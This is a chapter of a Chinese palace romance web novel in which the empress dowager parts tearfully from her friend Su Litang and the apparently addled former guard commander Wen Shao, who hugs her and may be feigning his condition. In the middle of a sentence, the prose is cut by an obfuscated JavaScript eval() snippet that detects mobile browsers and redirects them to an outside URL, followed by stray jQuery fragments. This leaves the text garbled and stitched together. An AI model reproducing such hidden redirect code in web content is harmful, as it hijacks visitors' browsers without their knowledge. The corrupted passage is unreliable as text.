123. 抱抱

作品:《朕对卿卿思心若狂

    翌日早膳过后岁荣来了趟慈宁宫,不多时小太后便乘坐马车出了宫。


    马车一路行得极快,行至城郊不过用了个把时辰。


    时值冬至草木渐滋,地皮逐见一片绿意给冬日枯败的林子添了几分颜色。


    小太后到时就见空荡的林间停着一辆装潢朴实的马车。


    听到外头动静,安静停靠的马车有了响动。片刻后,有人掀起车帘望了过来。


    “郦棠!”小太后见到苏郦棠激动唤了一声,驾车的昌景慢慢勒停了马车。


    两人齐齐下车拥作一处,小太后眉间满是伤情:“此次一别你我不知何时才能相见?郦棠,我好舍不得你。”


    苏郦棠紧紧抱住她的肩膀,泪水无声洇湿了对方的衣衫:“嫽嫽,我也舍不得你,可为了护住他我只能离开京都隐姓埋名。”


    “我知道,我都知道。”小太后轻轻拍着她的后背,声音几度哽咽却强撑着没有痛哭出声,“只要你们两人一起好好的我便放心了,只是你这一走,家中……”


    “我给家中长辈留了书信,信中缘由说得一清二楚。想来……”提及家中亲人,苏郦棠神色难免黯然,“他们会理解我的,只是祖母年迈我实在放心不下,我……”


    这般说着又要哭,小太后赶紧温声安抚:“郦棠,我知你次番决定心中定然煎熬。既放心不下家中亲人,亦放不下温绍。不过世间难得两全法总要有所取舍,既然选择了这条路那就安心去吧,莫要瞻前顾后纠结一生,如此反倒是苦了自己也苦了家人。至于家中事宜我会私下替你看顾,你只管放宽心便是。”


    “嫽嫽……”苏郦棠感激落泪,更为用力将人抱紧,“你对我真好,不光替我救出温绍还愿意代我看顾家中长辈,我这辈子能有你这样的朋友也算是不枉此生了。”


    “郦棠……”小太后捱持良久终是再也忍不住落下泪来,决堤洪流般横流不止,“我会想你的,只愿你往后一切顺遂……”


    “嫽嫽……”


    两人相拥无话唯有泪千行。


    不知过了多久,两人心绪总算稳定下来。小太后替苏郦棠擦干眼泪:“好了,不哭了,再哭眼该肿了。”


    “好,我不哭。”苏郦棠也细细替她拭干泪珠,“那嫽嫽也别哭了。”


    “好,我也不哭了。”她抬头看了眼头顶的日头,“时辰也不早了,郦棠还是快些赶路吧,以免错过了路上馆驿。”


    “好,不过……”苏郦棠神色迟疑看向身后的马车,“嫽嫽,我有一个不情之请,不知嫽嫽可否答应?”


    “你我情同姐妹,有什么话直说就是。”


    “嫽嫽……”她拉住小太后的手,有些为难道,“眼下温绍已然痴傻,但他若尚有神思定会想在离开之前再同你见上一面,所以嫽嫽,你能……同他见一面么?”


    对于苏郦棠的要求小太后很是意外,她没想到郦棠居然为温绍设身处地到这般:“郦棠,你……不介意么?毕竟他之前和我……”


    “不介意。”苏郦棠握住她的手笃定点头,“此前种种都是温绍一厢情愿我从未怪过嫽嫽,如今这般请求我自知不该提起,只是念着他对你情谊深厚心中总有不忍,若嫽嫽实在不想见他我也能理解。”


    “好,那我就同他见上一面。”


    苏郦棠听罢眉间一松:“如此我便代他谢过嫽嫽了。”


    她转身折回,不多时扶着温绍下了马车。


    多日不见,今日再见那人仿若变了一人。


    身形单薄,神色呆滞,面上伤痕累累,行走间步履缓慢犹若耄耋老人。


    虽然温绍做过的恶事数不胜数,但他的的确确从未伤害过她,还帮过她好几回。她对温绍的感觉颇为复杂,并非单纯的恶,亦非单纯的喜。


    见他这般鼻头莫名一酸,竟然几欲落泪。


    忧心郦棠会察觉她的异样小太后急忙偏过头去,将心头酸涩勉力压下。


    “嫽嫽,你和温绍说几句话吧,我去马车上等着。”


    “好。”


    风扫树林引得枝桠颤动发出簌簌声响,眼下虽是冬至风却依旧寒凉,小太后下意识想以手挡风,却有人先她一步将手挡在了她的脸侧。与此同时,男子粗涩略带哑意的声音在耳畔轻轻响起:“风凉。”


    凉少荇诧然抬头,刚好对上一双温柔如水的眸。


    他身着书生惯穿的襴衫,头上戴的却并非书生常戴的儒巾,而是她见过多次的三山帽。


    此番装扮儒雅风流,颇有几分书生气。


    不管谁瞧都瞧不出此等文雅端方的男子居然就是以前抬手可翻云覆雨左右朝刚的锦衣卫指挥使。


    凉少荇不由心下慨叹,也因他的举动多了几分动容:“用手给我挡风你不冷么?”


    温绍举着冻得通红的手,呆滞的神色中居然有了几分清明之相,只是声色依旧迟缓,却很清晰:“不冷,怕,怕你冷。”


    这回答引得凉少荇面色一怔:“你……可认得我是谁?”


    他摇了摇头,下一刻又点了点头:“记不起来了,但,我不讨厌你。”说完痴痴笑开,只一瞬又郑重其事补了句,“我喜欢你。”


    明知他现下心智不全可这话落在耳中莫名叫她忆起了从前,以前温绍还是锦衣卫指挥使时也曾对自己说过类似的话,只是他当时四肢健全心智正常,同她说这话时亦是满眼深情似海。可如今……


    她轻抬眼皮,对上那双明显失焦的眸子眼眶莫名发胀,心中酸涩不止却还是强行扯出抹笑来,用哄孩童的语气轻声哄道:“这话可不能瞎说,尤其是对女子,万一遇见个性子烈的你少不得要吃些皮肉之苦,知道了么?”


    温绍呆呆瞧了她一会儿木讷点了点头:“知道了,我不会同旁人讲的。”他咧咧嘴,笑里带着傻气,眼神却难得虔诚,“我只会同你讲,因为,我只喜欢你。”


    “你……”凉少荇有些诧异,他这话虽带着傻气,但他此刻的目光却专注有神,不像个痴人。


    “你长得好看。”不等她回过神来温绍又开了口,说罢还径自伸手抱住了她,“抱抱。”


    凉少荇身子一僵作势就要将人一把推开,手搭上他单薄的肩头终是于心不忍,转而轻轻在他背


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064952|170810||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    后拍了拍:“往后不要随意抱别人,尤其是女子,否则少不得挨一顿打,知道了么?”


    “嗯。”他重重点了点头,有些惶恐往她颈侧拱了拱,“那你会打我么?近来总有人打我,前几日后背被铁刷剌破了皮,脚上穿了倒刺靴,胸口还钉了琵琶钉,可疼了,疼得我整宿整宿睡不着觉。”


    看这模样温绍在狱中定然受了不少非人的折磨,她的心不由软了几分:“不会,我不会打你。”


    搭在腰间的手无声收紧:“你真好。”


    被他这般抱着时间久了便有些不自在,他虽痴傻可身子总归是成年男子,如此这般委实不合礼数,于是凉少荇轻声劝哄道:“你先松开好不好?”


    谁知温绍却执拗摇了摇头:“不想松,抱抱。”


    她有些无奈叹了口气,转而想了个法子出来:“你若再这般抱着我可就要走了。”


    这话果然奏效,话音将落他便迅速松开了手,做错事孩子一般垂着头不吭声。


    凉少荇轻声叹了口气,动作轻柔摸了摸他的发心:“这样才乖。”她看了眼天色,对着马车的方向唤了声“郦棠”。


    不多时苏郦棠下了马车,她走到近前将温绍扶住。


    “郦棠,时辰不早这就启程吧,以免苏府那边派人来追。”


    “嫽嫽说的极是,事不宜迟我们这就上路。”


    “慢着。”小太后吩咐翠笙昌景将车厢里的东西一一搬进郦棠的马车之中,“这些是我为郦棠备的一些吃食,都是你喜欢吃的,还有一些盘缠,权当是我的一点心意。”


    苏郦棠两眼一热又要哭,小太后最后同她抱了下:“天色不早这就走吧。”


    苏郦棠带着哭腔应声:“嫽嫽,那我走了。”


    “嗯,赶快走吧。不过你第一次离家经验不足一定要万分小心莫要叫歹人钻了空子,还有记得财不外露……”


    “好,我知道了。”苏郦棠难受得眼泪直流,她依依不舍同她告别,温绍却突然甩开了苏郦棠的手朝着小太后飞奔而去,“唉,温绍……”


    未等凉少荇反应过来,一道人影猛地奔至近前将她牢牢揽入怀中,哪儿还有方才半分腿脚不便的孱弱模样?


    “温绍,你……”


    固在腰间的手又稳又重叫人难以挣脱,凉少荇只好温言安抚:“温绍乖,你先上马车好不好,我们下回还会再见的。”


    少卿,他抗拒摇了摇头:“你骗人,你不会再见我了。”


    凉少荇心里咯噔一声,只好好意诓骗:“会的,不过你若再不松手那我可就真的不会再见你了。”


    这话依旧管用,温绍虽万般不愿还是随着郦棠上了马车。


    马车缓缓挪动,一直遮盖严实的车帘却突然被人从里面一把掀开,一颗头从窗口处钻了出来。


    正是温绍。


    他直直望着凉少荇,似要将人融入眼底刻入骨髓一般,就那般深深且专情地将人望着。


    那一刻,凉少荇似乎在他眼中读出了别的意味。


    她禁不住怀疑,这般眼神举动又岂会是痴傻之人该有的?